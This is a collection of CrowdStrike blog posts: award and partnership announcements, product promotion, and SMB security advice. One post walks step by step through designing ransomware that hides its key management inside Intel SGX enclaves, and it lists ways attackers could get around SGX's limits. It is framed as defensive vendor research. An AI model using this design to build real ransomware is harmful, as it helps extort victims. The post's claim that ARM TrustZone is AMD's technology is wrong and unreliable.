There are new articles available, click to refresh the page.
Before yesterdayCrowdStrike

CrowdStrike Falcon Platform Achieves 100% Ransomware Prevention with Zero False Positives, Wins AAA Enterprise Advanced Security Award from SE Labs

25 October 2022 at 07:31
  • The CrowdStrike Falcon® platform achieved 100% protection accuracy and 100% legitimacy accuracy with zero false positives, winning SE Labs’ first-ever endpoint detection and response (EDR) ransomware detection and protection test
  • The Falcon platform detected and blocked 100% of ransomware files during testing, which involved both direct attacks with 270 ransomware variations and deep attack tactics, with 10 sophisticated attacks mimicking observed tactics of cybercriminals
  • The industry-leading Falcon platform is the world’s most tested next-gen security platform and continues to dominate the endpoint security market

The CrowdStrike Falcon platform delivered 100% ransomware detection and protection with zero false positives in winning the AAA Enterprise Advanced Security (Ransomware) Award in the first-ever SE Labs EDR ransomware evaluation. 

SE Labs AAA Enterprise Advanced Security (Ransomware) Award

This new ransomware-focused testing by SE Labs — the leading independent computer security testing organization — validates that the Falcon platform stands alone in protecting organizations of all sizes from ransomware and sophisticated breaches by using a defense-in-depth approach, applying advanced artificial intelligence (AI) to the vast telemetry of the CrowdStrike Security Cloud to power detections and provide real-time mitigation. 

CrowdStrike remains committed to public testing transparency and tests more than any other next-gen security platform in the world. The Falcon platform was named the Best Endpoint Detection and Response product for a second consecutive year in SE Labs’ 2021 Annual Report, delivered 100% detection in SE Labs’ Q4 2021 Enterprise Advanced Security (EDR) test, achieved 100% prevention in the fourth round of the MITRE Engenuity ATT&CK Enterprise Evaluations and won a fifth consecutive Approved Mac Security award from AV-Comparatives in 2022 by demonstrating 100% malware prevention. Gartner, Forrester and IDC have all recognized CrowdStrike as a leader in modern endpoint security.

See how the Falcon platform protects against ransomware in this short video

In a report announcing the methodology and results of its extensive testing, SE Labs noted:

CrowdStrike Falcon performed exceptionally well, providing complete detection and protection coverage against all direct ransomware attacks. It also provided thorough insight into the full network breaches that concluded with ransomware deployments. There were no false positive results. An excellent result in an extremely challenging test.” 

The Falcon platform attained an AAA rating with test scores including 100% protection against ransomware and zero false positives. Here’s how SE Labs put the Falcon platform to the test and what the results mean for organizations that face the threat of ransomware every day.

Testing Falcon Platform Effectiveness Against Ransomware Attacks in Real-World Scenarios

Few cyberattacks strike fear in the hearts of organizations to the degree of ransomware. The prospect of data leaks, extortion, encrypted data, loss of business, negative headlines and the demand to pay ransom to even begin recovery is terrifying. Effective protection against ransomware is a critical part of stopping breaches and improving business resiliency. 

As organizations evaluate competing security solutions, third-party, independent testing that runs in configurations they can use, and that accounts for false positives, is an important part of the validation process. Organizations must be confident in their chosen security solution’s ability to stop sophisticated real-world ransomware attacks. Vendors that claim effectiveness but avoid testing should be viewed accordingly. 

The SE Labs test focused on realism, attacking systems using the same configurations, tools and methodologies observed in the wild, the most effective approach for delivering real-world results. Test networks represented what typical companies, government agencies, financial institutions and infrastructure services use — including systems configured as servers and workstations, and printers, email and web-based file-sharing services — and were repeatedly subjected to the two primary methods of ransomware attack: deep attack and direct attack.

  • Deep attack: Two testing teams simulated 10 sophisticated attacks from the ground up, mimicking the observed tactics of cybercriminals. They started with stolen credentials (or a similar method) to gain access to their target, then stealthily moved laterally through systems and the network. They made use of scripting tools such as PowerShell and Windows Command Shell, or User Account Control exploits to expand their access privileges while avoiding detection. After completely compromising the test network, testers deployed the ransomware payload. Ten different ransomware payloads were used in these test cases, comprising both known ransomware variants and modified versions.
  • Direct attack: Testers replicated scenarios such as an email social engineering attack (i.e., phishing) to send ransomware directly to target systems. SE Labs used a wide distribution of known ransomware including Conti, DarkSide, Dharma, Maze and Revi, in addition to modified variations.

Figure 1. SE Labs protection details for Falcon platform scoring throughout the ransomware direct attacks evaluation. Copyright: SE Labs

Testing the Falcon Platform Against Previously Unknown Ransomware 

A security solution’s ability to protect against previously unknown ransomware is an important part of both deep attack and direct attack testing. SE Labs employed known ransomware that has been used in the wild, then modified the files to make them look different but retain their behavior and functionality in absence of security software. 

Being able to detect and block known ransomware is obviously important. And if a security solution can also proactively detect unknown variants, it is far more effective than products that merely react to known threats. 

According to SE Labs:

“CrowdStrike Falcon performed exceptionally well at protecting against known and new variants of ransomware, as well as tracking network attacks that concluded with ransomware payloads.” 

Between known ransomware and the new variations created by SE Labs, 270 different ransomware samples were used in the testing. The ransomware samples were selected from nine prevalent ransomware families; 10 different ransomware payloads were selected from each family, resulting in 90 original ransomware files and 180 variations that were used by the SE Labs testers.

CrowdStrike: The Industry’s Technology Leader

This AAA rating in Enterprise Advanced Security (Ransomware) is recognition of the Falcon platform’s industry leadership in the automated detection and blocking of ransomware — in addition to its proven effectiveness against the full spectrum of cybersecurity threats.

The Falcon platform scored a perfect 100% protection accuracy rating, having detected and blocked every ransomware attack including the unknown variants. The Falcon platform also achieved a 100% accuracy rating in identifying legitimate applications and websites, and in deep attack testing detected all 10 attacks, exposing the ransomware in every case and offering thorough insight into testing threat chains.

Overall, the Falcon platform received a total accuracy rating of 99%, which indicates it is extremely effective in protecting from subtle attacks and accurately identifying non-malicious objects such as web addresses and applications. As testing was performed in real-world configurations, accuracy means the evaluation also tested for false positives — and the Falcon platform generated absolutely none. 

Because SE Labs’ testing reflected real-world configurations, CrowdStrike’s extremely high scores translate immediately to real-world use cases. High accuracy means no inconvenience for users attempting to use legitimate websites or apps; it means no downtime resulting from the investigation of false positives; it means security operations center (SOC) analysts can spend more time addressing real detections in particular and less time operating security solutions in general — all of which serve to lower organizations’ TCO and minimize security-related business interruptions.

In short, CrowdStrike Falcon platform solutions provide instant value to both organizations and the SOC analysts protecting them.  

The full SE Labs report, including details on how the Falcon platform was tested, is available here.

See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like ransomware. Start a 15-day free trial today.

Additional Resources

CrowdStrike Advances to Research Partner with MITRE Engenuity Center for Threat-Informed Defense to Help Lead the Future of Cyber Defense

21 October 2022 at 20:30
  • CrowdStrike is deepening its commitment to advancing the security ecosystem leading the future of protection by becoming a top-tier partner in the MITRE Center for Threat-Informed Defense research program.
  • CrowdStrike’s adversary-centric approach and technology leadership can help change the game on adversaries, turning state-of-the-art threat defense into a state of practice.

CrowdStrike is now a Research Partner with the MITRE Engenuity Center for Threat-Informed Defense, joining a select list of cybersecurity companies and research foundations to take a hands-on approach to transforming state-of-the-art, threat-informed defense against sophisticated adversaries into a state of practice for organizations. Building on its previous role as Research Sponsor, CrowdStrike is reaffirming its commitment to fostering an open and collaborative security ecosystem. 

By investing in the Center’s collaborative R&D program and working with ecosystem partners to advance its research in the public interest, CrowdStrike is allied in a common cause to shape the future of threat-informed defense and help organizations improve the visibility and understanding of sophisticated adversaries and threats.

CrowdStrike Adversary-Focused Approach to Security Advances Threat-Informed Defense

Behind every attack is a human adversary with motivation and intent. Understanding the adversary, their tradecraft and techniques, and how they are most likely to target an organization, is critical to a threat-informed defense. CrowdStrike is a pioneer in threat actor profiling and attribution and uses this industry-leading threat intelligence to enrich the trillions of security events captured in the CrowdStrike Security Cloud.

The market-leading CrowdStrike Falcon® platform applies advanced machine learning (ML), artificial intelligence (AI) and deep analytics to this enriched telemetry to automatically prevent known attack methods and intrusions, while identifying new and unknown malicious activity and delivering proactive measures to stop the attack before it executes.

CrowdStrike has shared this expert knowledge in past Center research projects to guide and support the advancement of state-of-the-art, threat-informed defense in the public interest.

The industry-leading CrowdStrike Falcon platform sets the new standard in cybersecurity. Watch this demo to see the Falcon platform in action.

CrowdStrike has been a long-time and active collaborator with the Center. As a Research Sponsor in past projects, CrowdStrike offered expertise derived from securing cloud infrastructures to advance cloud analytics for identifying adversary behavior, leveraged experience to guide research on real-world insider threat techniques and provided understanding of real-world adversary techniques to contribute to the Center’s research that revealed the top ATT&CK techniques defender should prioritize.

See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware. Start your 15-day free trial today.

CrowdStrike’s Work with the Center for Threat-Informed Defense Moving Forward

By elevating to Research Partner, CrowdStrike will continue to deepen this collaboration with the Center for Threat-Informed Defense, funding research and leveraging our adversary-focused expertise and our understanding of securing cloud infrastructures and stopping cloud breaches to help organizations advance their defenses against cyberattacks.

Additional Resources

Playing Hide-and-Seek with Ransomware, Part 2

21 October 2022 at 11:21

In Part 1, we explained what Intel SGX enclaves are and how they benefit ransomware authors. In Part 2, we explore a hypothetical step-by-step implementation and outline the limitations of this method.

Watch this live attack demo to see how the CrowdStrike Falcon® platform and the CrowdStrike Falcon Complete™ managed detection and response team protect against ransomware. 


In this section, we build out a step-by-step example of a ransomware that uses enclaves for asymmetric encryption. The ransomware is divided into two parts:

  • The enclave, which is in charge of cryptographic operations, such as keys generation
  • The untrusted area, where the regular core of the application is responsible for the enclave load, file opening and writing operations

Extracts of code presented here will be coming from the regular core of the application (main.c) or from the enclave (enclave.c). The enclave will generate a pair of RSA keys, seal the private key and encrypt the victim’s data inside the enclave using the Intel SGX API. Let’s take a look at how this is done and how the core of the application interacts with the enclave.


First, the regular core of the application initializes the resources required for the ransomware execution, including creating and setting up the enclave. To load the enclave, we use the function sgx_create_enclave(), from sgx_urts.lib.1 The function prototype is:

sgx_status_t sgx_create_enclave (
                        const char *file_name, const int debug,
                        sgx_launch_token_t *launch_token,
                        int *launch_token_updated,
                        sgx_enclave_id_t *enclave_id,
                        sgx_misc_attribute_t *misc_attr 

Arguments of this function represent some of the enclave attributes, such as the compilation mode or information about previous loads. For instance, sgx_launch_token_t is an opaque structure that represents the enclave launch token. The token information holds information about the enclave throughout its execution and can be saved to facilitate future loads of the enclave.

Figure 1. Extract of code creating the enclave (Click to enlarge)

Once the enclave is loaded, the regular core of the application can execute an ECALL to start the key generation process. 

Key Generation

Inside the enclave, the key generation is based on the Intel SGX SDK dubbed sgx_tcrypto.lib. This is a documented API that can be directly called from the enclave. Under the hood, the API is based on other cryptographic libraries developed by Intel: the Integrated Performance Primitives (Intel® IPP) and the Intel® Software Guard Extensions SSL cryptographic library (Intel® SGX SSL),2 both of which are based on OpenSSL. 

The first step in this process is to generate RSA components for the private and the public keys from the enclave using the function sgx_create_rsa_key_pair(). This is a preliminary call, performed prior to the function calls that create keys, used in order to generate components that comply with the predefined RSA key modulus size and public exponent.

Figure 2. Extract of code generating the RSA keys components (Click to enlarge)

From these RSA key components, we use the function sgx_create_rsa_pub1_key() to generate the RSA public key that will be used to encrypt the victim’s files.

Figure 3. Extract of code creating the RSA public key (Click to enlarge)

Sealing the Private Key

The next logical step-up would typically be to generate the private key, as we did with  the public key. In this case, however, we don’t yet need the private key, as the private key will only be used for deciphering purposes, should the victim comply with the demands of the ransomware authors. At this time, we just need to safely store and hide the private key components to allow for future retrieval. To this end, we use the data sealing method to ensure that the private key can be written and stored encrypted on disk, without ever appearing as clear-text in the OS regular memory. 

One way we could do this is by generating the private key and then sealing it directly on disk, but we won’t proceed this way. Consider the function prototype from the Intel SGX SDK3 that generates the private key shown below.

sgx_status_t sgx_create_rsa_priv2_key( 
                        int mod_size, 
                        int exp_size, 
                        const unsigned char *p_rsa_key_e, 
                        const unsigned char *p_rsa_key_p, 
                        const unsigned char *p_rsa_key_q, 
                        const unsigned char *p_rsa_key_dmp1, 
                        const unsigned char *p_rsa_key_dmq1, 
                        const unsigned char *p_rsa_key_iqmp, 
                        void **new_pri_key2 

Note that the private key value is written onto a void** but under the hood, the actual structure used is an EVP_PKEY structure, a complex structure that originates from the OpenSSL library.

Figure 4. Extract of code defining the EVP_PKEY structure, from openssl library (Click to enlarge)

Therefore, if we wanted to seal the private key, we would need to use the EVP_PKEY structure. Nonetheless, enclave’s development architecture is not designed to readily import external libraries, so using the Open SSL library directly would be cumbersome. Otherwise, we could attempt to recreate the structure from scratch, but this would require several  parsing operations. Given the complexity of storing the private key in the appropriate structure, it is much easier to save the private key components and build the private key at a later stage. To support this process, we created a structure to collect the private key components.

Figure 5. Extract of code defining the PrivateKey structure (Click to enlarge)

We now have the means to seal the private key components for a potential future decryption. We’ll use the same values produced when we generated the key components, and assign them to the appropriate fields in our custom PrivKeyComp structure. Once the structure is correctly set up, we can seal the private key components with sgx_seal_data_ex(), from sgx_tservice.lib.4

Figure 6. Extract of code sealing the RSA private key components (Click to enlarge)

Here, we use sgx_seal_data_ex(), the extended version of sgx_seal_data(), which allows us to use the MRENCLAVE policy. We chose this policy because it guarantees that other enclaves signed by the same enclave’s authors won’t be able to access the sealed data. Should the attacker’s enclave signature be stolen, it could be used to unseal the data.

Once sealed, the private key components can be returned to the regular core of the application and written on disk.


From this point, we have two options for encrypting the victim’s data. The first option is to return the public key to the regular core of the application and to encrypt the victim’s files outside of the enclave. The other option is to keep the public key inside the enclave and use functions from the Intel SGX API to encrypt the victim’s data. The latter is more complex than a classic encryption process outside of the enclave, but we’ll use this method to demonstrate possibilities of SGX programming.

The untrusted part of the application is in charge of opening and reading the victim’s file. To get the encrypted data that will be generated within the enclave, we need to initialize the output buffer in the regular core of the application. Otherwise, the buffer generated within the protected memory won’t be able to be sent to the untrusted space.

The encryption is done with the function sgx_rsa_pub_encrypt_sha256(), which performs a RSA-OAEP encryption scheme with SHA-256. This computes an encryption and an encoding operation for buffers, which is limited to the size of the RSA modulus n, and results in a buffer of the same length. In this case, given a RSA modulus n of 256 bytes, the output buffer of sgx_rsa_pub_encrypt_sha256()will be 256 bytes long.5 As such, we allocate a buffer of 256 bytes for the output buffer that will hold the encrypted data. 

Next, we’ll send this output buffer with the buffer containing the data to encrypt.

Figure 7. Extract of code encrypting a file’s content, from the main (Click to enlarge)

The enclave receives the buffers and uses the public key that has been generated previously to perform the encryption. This is done in three steps. The first step is calling  sgx_rsa_pub_encrypt_sha256() to get the size of the resulting encrypted buffer. Once the size is returned, we check that it corresponds to 256 bytes (the size we allocated to the output buffer). If it matches, we perform a second call to sgx_rsa_pub_encrypt_sha256() to get the encrypted data in the output buffer.

Figure 8. Extract of code encrypting a file’s content, from the enclave (Click to enlarge)

Finally, the regular core of the application overrides the original file content with the encrypted content, returned from the enclave.

Unsealing and Decryption 

The same logic applies to the decryption process. The sealed data is sent to the enclave, which unseals it with sgx_unseal_data()and stores the private key components in the PrivKeyComp global variable. Encrypted data is sent to the enclave, builds the private key using the global variable PrivKeyComp as parameters for sgx_create_rsa_priv2_key(), and then decrypts the data with the function sgx_rsa_priv_decrypt_sha256(). The deciphered data is then returned to the regular core of the application, which overrides encrypted files with the original clear-text.

SGX’s Operational Limits 

As we’ve established, using enclaves has considerable benefits such as ensuring that targets of ransomware won’t be able to retrieve their deciphering keys. However, this tactic also has considerable limitations, which account for its limited prevalence in ransomware attacks. 

Hardware Requirements

First, enclaves have strict hardware specifications. Since SGX is a proprietary technology, it requires an Intel CPU. Although AMD has an equivalent technology called ARM TrustZone, code compiled based on Intel SGX libraries will not work on non-Intel CPUs. Furthermore, only certain Intel CPU models support SGX, as Intel has deprecated the feature for the 11th and 12th core processor desktop generations.6 As a final hardware requirement, the Intel SGX feature needs to be enabled from the BIOS, which is not done by default.

Given all of these requirements, the probability that a targeted system can execute a  binary using enclaves is very low. What’s more, as the SGX technology use might not be enabled on every infected system, the chances of successfully infecting a target are considerably low, especially in comparison to more common ransomware methods.

Signature Requirements

​​Earlier in this blog, we explained that enclaves need to complete a verification process to be compiled in release mode. Nonetheless, an enclave compiled in debug mode can still be executed on an Intel SGX-enabled machine if the required libraries are imported with the malicious binary. The size of the binaries required for the attack would be much bigger than that of a classic ransomware binary, but such a scenario is plausible.

Moreover, if attackers intend to use an enclave in release mode, they might go undetected by the Intel verification process if the enclave only appears to generate a pair of RSA keys, and receive buffers to encrypt and seal data. In such a situation, how would Intel determine whether the enclave serves malicious purposes?

Researchers from Graz University of Technology claim that “Intel does not inspect and sign individual enclaves but rather white-lists signature keys to be used at the discretion of enclave developers for signing arbitrary enclaves.”7 They cite the example of an independent student that has successfully completed Intel’s process to get a signing key. This raises the question of whether malware authors could use enclaves by going through Intel’s allowlisting process.  

Another possibility for ransomware authors would be to steal a legitimate signature. This adds another level of complexity to the attack, but it has been done in the past. In this case, as soon as the attack is detected and reported to Intel, Intel revokes the enclave signature used from the allowlist, preventing the malicious enclave from loading. Whether the signature is stolen or acquired legitimately, the risk of discovery quickly grows as soon as the ransomware campaign is underway, raising the issue of the signature’s validity lifetime.

To provide more flexibility in the use of enclaves, in 2018 Intel released the flexible launch control alternative.8 This feature allows third parties to control which enclaves can be loaded on appropriately configured machines, bypassing the Intel verification process. It requires the targeted machines to support and enable the flexible launch control feature, configured in each machine’s BIOS. This approach requires having access to the BIOS prior to the infection and having administrator’s rights to configure the environment, both of which add complexity to the attack.

Surely but Slowly

Within the enclave, code is executed in a specific context, which results in a slower execution than in a regular OS environment. The longer the ransomware takes to execute, the more likely the user will be alerted to suspicious activity and have time to react to it, further jeopardizing the chances of conducting a successful attack.

Vulnerabilities to Side Channel Attacks

Intel does not consider side channel attacks as part of the SGX threat model. The  Intel® Software Guard Extensions Developer Guide9 states, “Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.”

This implies that there are ways to observe what is happening inside an enclave and thus potentially intercept the deciphering key, further underscoring that using enclaves is far from foolproof and has been successfully leaked in the past, which is discussed in the paper “SGAxe: How SGX Fails in Practice.”10

Safety of the Sealed Private Key

There are also limits to the safety of the sealed key written on disk. 

Intel’s Developer guide states, “Enclaves, regardless of the number of trusted threads defined, must not be designed with the assumption that the untrusted application will invoke the ISV interface functions following a specific order. Once the enclave is initialized, an attacker may invoke any ISV interface function, arrange the calls in any order and provide any input parameters. Keep these ploys in mind to prevent opening an enclave up to attacks.”11 

A recent question on Intel’s community forum posed whether different applications use the same enclave, to which Intel replied, “There is no built-in way to prevent one untrusted app from loading another’s enclave.”12 As such, should forensic investigators retrieve the enclave binary used in a ransomware attack and the sealed private key, they might be able to recreate an application that interacts with the enclave to make it unseal the private key, at the very least in debug mode. 

In practice, creating such an application requires importing the enclave .edl file, containing the ECALLs definition. Since it is unlikely that this file would be imported in the attack’s binaries, the only option would be to reconstitute the .edl file, which could be further complicated should attackers obfuscate the enclave binaries.

In a scenario where the private key has been sealed using the MRSIGNER policy, the safety of the sealed key is in even greater question. If forensic investigators are able to retrieve the enclave author’s signature, they could recreate an enclave similarly signed with Intel’s support and make this new enclave unseal the data. Indeed, since the data was sealed using the enclave author’s signature, another enclave with the same signature would be able to unseal it. 

While each of these limitations adds constraints to the attack, they can all still be  mitigated. Having the SGX feature enabled can be bypassed with a few pre-infection steps. To facilitate the use of enclaves, Intel released an activation app13 that allows users to enable Intel SGX on compatible Intel Core based processor-based platforms, simply by clicking on the “Activate” button, as shown in Figure 9. The application needs to be run with administrator privileges, but a social engineering approach could easily make a victim click on one button from a legitimate application.

Figure 9. Screenshot of the Intel® Software Guard Extensions Activation App (Click to enlarge)

Once the targeted system has the Intel SGX feature enabled, an attacker could bypass signature requirements by using an enclave binary compiled in debug mode to embed dependencies in the attack. To accelerate the execution of their code, they could use a multi-threading implementation or an externalized encryption process within the regular core of the application. Furthermore, if the enclave binary is completely removed from the infected system after the attack, the attacker can be confident that the sealed private key won’t be unsealed until they allow it. Finally, it is very unlikely that side-channel attacks would be set up prior to infection, making it highly improbable that these would successfully thwart a ransomware attack using enclaves. 


The Intel SGX technology offers developers a unique opportunity to protect their code. We reviewed how the architecture of enclaves provides an environment that is conducive to protecting sensitive data and embeds different mechanisms to safely manipulate it, such as with sealing. 

Although this can be beneficial in day-to-day operations, it can also be exploited for malicious purposes, as we saw with the case of cryptographic key management by ransomware authors. Enclaves allow ransomware authors to safely and securely generate cryptographic keys, preventing victims of attacks from leveraging two of the most common scenarios ransomware authors want to avoid: retrieving deciphering keys and preventing infection with offline targets.

The low prevalence of enclave use by ransomware is largely due to the technical limitations imposed by the Intel SGX. Its hardware requirements and deprecation for future CPU generations reduce the chances that targeted systems will be able to meet all of the conditions required for the enclave execution. Furthermore, releasing an enclave in production mode requires going through Intel’s signing process, which, if completed successfully, results in a signature that can be quickly revoked overnight, further reducing the ransomware’s chances of successful execution.

As we have demonstrated, ransomware authors can’t rely exclusively on enclaves to orchestrate attacks but may benefit from their use for cryptographic key management. As there are legitimate uses for enclaves, a preventative approach to these ransomware attacks should not exclusively rely on the detection of an enclave’s load. 

As part of our commitment to enabling customers to have continuous visibility across their organization, the CrowdStrike Falcon sensor has visibility on the use of enclaves and uses this data alongside event telemetry to determine whether a process is malicious and to respond to detected threats. In the end, an enclave is just a clue — nothing more, nothing less.

See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like ransomware. Start your 15-day free trial today.

Additional Resources


  1. “Intel® Software Guard Extensions SDK for Windows* OS Developer reference,” revision 2.7, March 2020
  2. “Intel® Software Guard Extensions SDK for Windows* OS Developer reference,” revision 2.7, March 2020
  3. “Intel® Software Guard Extensions SDK for Windows* OS Developer reference,” revision 2.7, March 2020
  4. “Intel® Software Guard Extensions SDK for Windows* OS Developer reference,” revision 2.7, March 2020
  5. RSA Cryptography Specifications Version 2.2, November 2016, IEETF 
  6. 11th Generation Intel® Core™ Processor Desktop, Datasheet, Volume 1 of 2, Rev 004, May 2022
  7. Michael Schwarz, Samuel Weiser, Daniel Gruss, “Practical Enclave Malware with Intel SGX,” 2019
  8. Intel, 2018
  9. Intel® Software Guard Extensions (Intel® SGX) Developer Guide,revision 2.7, page 51, March 2020
  10. Stephan van Schaik, Andrew Kwong, Daniel Genkin, Yuval Yarom, SGAxe: How SGX Fails in Practice,” 2020
  11. Intel® Software Guard Extensions (Intel® SGX) Developer Guide, revision 2.7, page 51, March 2020
  12. Intel’s communities forum, 2017
  13. Intel Software Guard Extensions Activation App, Microsoft Store

CrowdStrike and Google Chrome: Building an Integrated Ecosystem to Secure Your Enterprise Using the Power of Log Management

20 October 2022 at 08:33

Organizations today face an onslaught of attacks across devices, identity and cloud workloads. The more security telemetry an organization has to work with, the better threat hunters can contextualize events to find and remediate potential threats.

Google recently announced Chrome Enterprise Connectors Framework, a collection of plug-and-play integrations with industry-leading security solution providers. The framework includes three categories: 

  1. Identity and Access
  2. Endpoint Management
  3. Security Insights and Reporting

CrowdStrike is pleased to announce that we’ve been included as a Chrome Enterprise Recommended Partner that will contribute to this framework. As a first step, we’ve developed an integration for the Security Insights and Reporting category to help customers derive even more value from the CrowdStrike Falcon® platform. 

The integration leverages our centralized log management and observability solution, CrowdStrike Falcon LogScale. Formerly known as Humio, Falcon LogScale is a CrowdStrike module that allows organizations to ingest, search, transform and retain all of their log data. ​​Built using a unique index-free architecture and advanced compression technology that minimizes hardware requirements, Falcon LogScale enables DevOps, ITOps and SecOps teams to aggregate, correlate and search live log data with sub-second latency — all at a lower total cost of ownership than legacy platforms.

Innovation via Collaboration

CrowdStrike and Google have a rich history of collaboration, including last year’s Google Work Safer program to bolster security for hybrid and remote workers. With this latest collaboration, organizations can get additional visibility into managed Chrome Enterprise browsers and devices using Falcon LogScale and Google’s Chrome Enterprise Connector Framework. 

This integration provides joint customers: 

  • The ability to correlate Chrome security events with CrowdStrike Falcon Host and Intelligence data in Falcon LogScale for enhanced threat hunting.
  • A pathway to easily port Managed Chrome browser and ChromeOS security events into the CrowdStrike Security Cloud for added threat context.
  • Automated notifications and remediations using Falcon LogScale’s built-in actions such as webhooks enabling security operations and incident response functions.
  • Enhanced security in certain instances that previously weren’t protected or CrowdStrike Falcon agents weren’t deployed.

Get Started with the Integration

To take advantage of the integration, organizations will need a cloud-managed Chrome browser or Chrome device and connect the data feed to Falcon LogScale’s HEC endpoint API.

If you’re a Falcon LogScale customer, this integration provides even more security telemetry for you to correlate with other data sources. After all, the more context you can add to potential security incidents, the better your investigations and threat hunts. 

Additional Resources 

CrowdStrike’s Cloud Security and Observability Capabilities to Be Showcased at KubeCon + CloudNativeCon North America 2022

19 October 2022 at 20:22

KubeCon + CloudNativeCon North America 2022 is happening next week, and we’re excited to showcase our industry leading cloud-native application protection platform (CNAPP) capabilities and observability technology. The conference, Oct. 24-28 in Detroit, will gather adopters, technologists and developers from leading open-source and cloud-native communities around the globe.   

CrowdStrike CNAPP Capabilities on Display

The CrowdStrike Falcon® platform enables developers to build safely and deploy apps faster with DevOps-ready security. Our unique approach combines agent-based and agentless application security, which includes cloud workload protection (CWP), cloud security posture management (CSPM) and cloud infrastructure entitlement management (CIEM), as part of our comprehensive CNAPP capabilities. It protects workloads, such as containers and Kubernetes during production and runtime, while enabling DevOps to automatically assess risk, resolve violations and automate security posture. 

The CrowdStrike Falcon platform sets the new standard in cloud security. Watch this demo to see the Falcon platform in action.

CrowdStrike’s CNAPP capabilities reduce the attack surface and ensures that only secure apps make it to production. It integrates directly into existing developer and cloud-native tools, turning DevOps into a security force multiplier, while improving application security and compliance, and extending runtime protection. The solution also offers DevSecOps observability to investigate threats by combining hundreds of thousands of log data with intelligence, to deliver actionable insights and minimizing alert fatigue. 

Security for a long time has been perceived as a roadblock that slows the process of production and delivery of applications. Yet, experts share that when security is properly integrated into the CI/CD pipeline, it actually expedites the process by minimizing test failures and expediting delivery.  

Key CNAPP features we’ll highlight at the conference: 

  • Automated remediation workflow, providing the security context and response actions needed to fix critical issues faster with both guided and automated remediation.
  • Image registry scanning, enabling the identification of hidden threats, embedded secrets and configuration issues to reduce the attack surface and secure CI/CD pipelines.
  • Software composition analysis, improving application security and compliance by detecting and remediating vulnerabilities in open-source components in the application codebase.

See for yourself how the industry-leading CrowdStrike Falcon platform secures applications, workloads and cloud environments, enabling faster and more efficient app delivery and runtime. Schedule a demo today

Converging Security and Observability

We’ll also be showcasing CrowdStrike Falcon LogScale™, our centralized observability and log management technology. Falcon LogScale, previously known as Humio, allows organizations to make data-driven decisions about the performance, security and resiliency of their IT environment. As the most scalable log management platform on the planet, Falcon LogScale enhances observability for all log and event data by making it fast and easy to explore critical log information, eliminate blind spots and find the root cause of any incident. We’re also a proud sponsor of the OpenTelemetry community’s unconference — a one-day, co-located event the day before KubeCon starts.

Falcon LogScale streamlines IT operations by ingesting, analyzing and retaining all log and event data at petabyte scale. The technology minimizes the computing and storage resources required to ingest, search, transform and retain log data. As a result, Falcon LogScale offers a low total cost of ownership while allowing organizations to eliminate IT system blind spots and identify potential threats with sub-second search latency.

See You Next Week at KubeCon 2022

If you’re obsessed with DevOps, speed, agility and application security, and want to build and showcase reliable, secure and safe apps, we invite you to visit our booths. We’ll show you how CrowdStrike can help you secure your apps and infrastructure from build to delivery to runtime, without disrupting your workflow. 

Find us at booths #G18 (Cloud Security) and #S111 (Falcon LogScale). We look forward to meeting you there!

Additional Resources

Why Your Small Business Needs to Rethink Its Cybersecurity Strategy

18 October 2022 at 19:49

Cybercrime is a big problem for small businesses, and the risk of advanced threats continues to grow. This Cybersecurity Awareness Month, learn how to protect your SMB or nonprofit from attacks that threaten the business. 

The cybersecurity threat to small- and medium-sized businesses (SMBs) continues to grow as cybercriminals recognize how vulnerable they can be, and the potential value of the data they have. Today’s attackers have their sights set on SMBs and nonprofit organizations — and the consequences can be devastating as the cost of these incidents rises into the millions. The proof is in the numbers: 

It’s time for SMBs to rethink and upgrade their security strategies to defend against today’s threats. These organizations often lack a dedicated cybersecurity team, as well as the modern security technology, skills and resources needed to defend against advanced threats. This is a growing concern because SMBs hold sensitive and valuable data: employee and customer records, intellectual property, financial transaction data, and access to business finances and larger networks are all essential to their success.  

October is Cybersecurity Awareness Month. This year’s theme is “See Yourself in Cyber,” a reminder that everyone has a part to play in keeping organizations safe from security threats.  While security can be a challenge for small businesses, CrowdStrike is ready to help with industry-leading products built to accelerate your SMB’s cybersecurity strategy: In an upcoming webinar, we’ll explore the many ways small businesses can strengthen their security posture with limited resources.

Legacy Tech Is No Match for Modern Attackers

Many small businesses and nonprofits are aware of cybersecurity risks and have installed antivirus tools to keep cybercriminals at bay. Unfortunately, these products are no match for human-engineered threats such as social attacks, in which a target is manipulated into giving the attacker what they want, or identity-based attacks in which intruders use stolen identity and account information to access systems and resources while appearing as legitimate users. 

The 2022 Falcon OverWatch Threat Hunting Report found 71% of breaches were malware-free, underscoring the prevalence of these more subtle attacks and cybercriminals’ growing preference for techniques that evade antivirus software products. Once they have a foothold in your environment, attackers can then move throughout your organization to compromise additional systems, exfiltrate data, launch a ransomware attack or take other nefarious actions. This is possible with the use of legitimate employee credentials or exploits for unpatched vulnerabilities.

Here are a few best practices that can fortify your security defenses: 

  • Enforce multifactor authentication (MFA): As identity becomes a critical component to cyberattacks, MFA provides an extra layer of defense so you can be sure it’s an employee, and not an attacker, gaining access to systems and resources. 
  • Perform regular backups of critical data: If a breach hits your small business, you’ll be glad you backed up your data either on-premises or in the cloud. It’s worth noting an attacker may encrypt backups if they gain access to your systems, so it’s critical to create a strong defense. 
  • Keep up with software patches: Data breaches often start when an attacker exploits an unpatched vulnerability. Keeping software up-to-date ensures this vector is blocked. The US Cybersecurity and Infrastructure Security Agency has an updated list of known exploited security flaws
  • Invest in stronger cybersecurity protection: A smaller employee headcount shouldn’t put your business at greater risk of cyberattack, and small businesses don’t have to face big threats alone. Now through the end of October 2022, you can save big on select CrowdStrike products and services. Register for our webinar, “Major Protection for Your Small Business,” to unlock enterprise level-protection and support at a price your SMB can afford. 

Cybersecurity is a big challenge for SMBs, but it is possible to build a strong security posture at a reasonable cost. Rethinking your security strategy and upgrading your defenses now can make a tremendous difference in getting through a cyberattack if disaster strikes.

The CrowdStrike Falcon® platform sets the new standard in cybersecurity for SMBs. Watch this demo to see the Falcon platform in action.

Additional Resources

Do You Know Who’s in Your Cloud? Preventing Identity-Based Threats with CIEM

18 October 2022 at 17:02

As organizations continue to shift to multi-cloud environments and increasingly use cloud services for application development, new challenges emerge that require dramatic changes in the delivery and practice of cybersecurity. 

Notably, Gartner predicts that inadequate management of identities, access and privileges will cause 75% of cloud security failures by 2023.1 Though public cloud service providers are working to minimize vulnerabilities and strengthen defenses against cloud threats, the customer is ultimately responsible for securing identities and data.

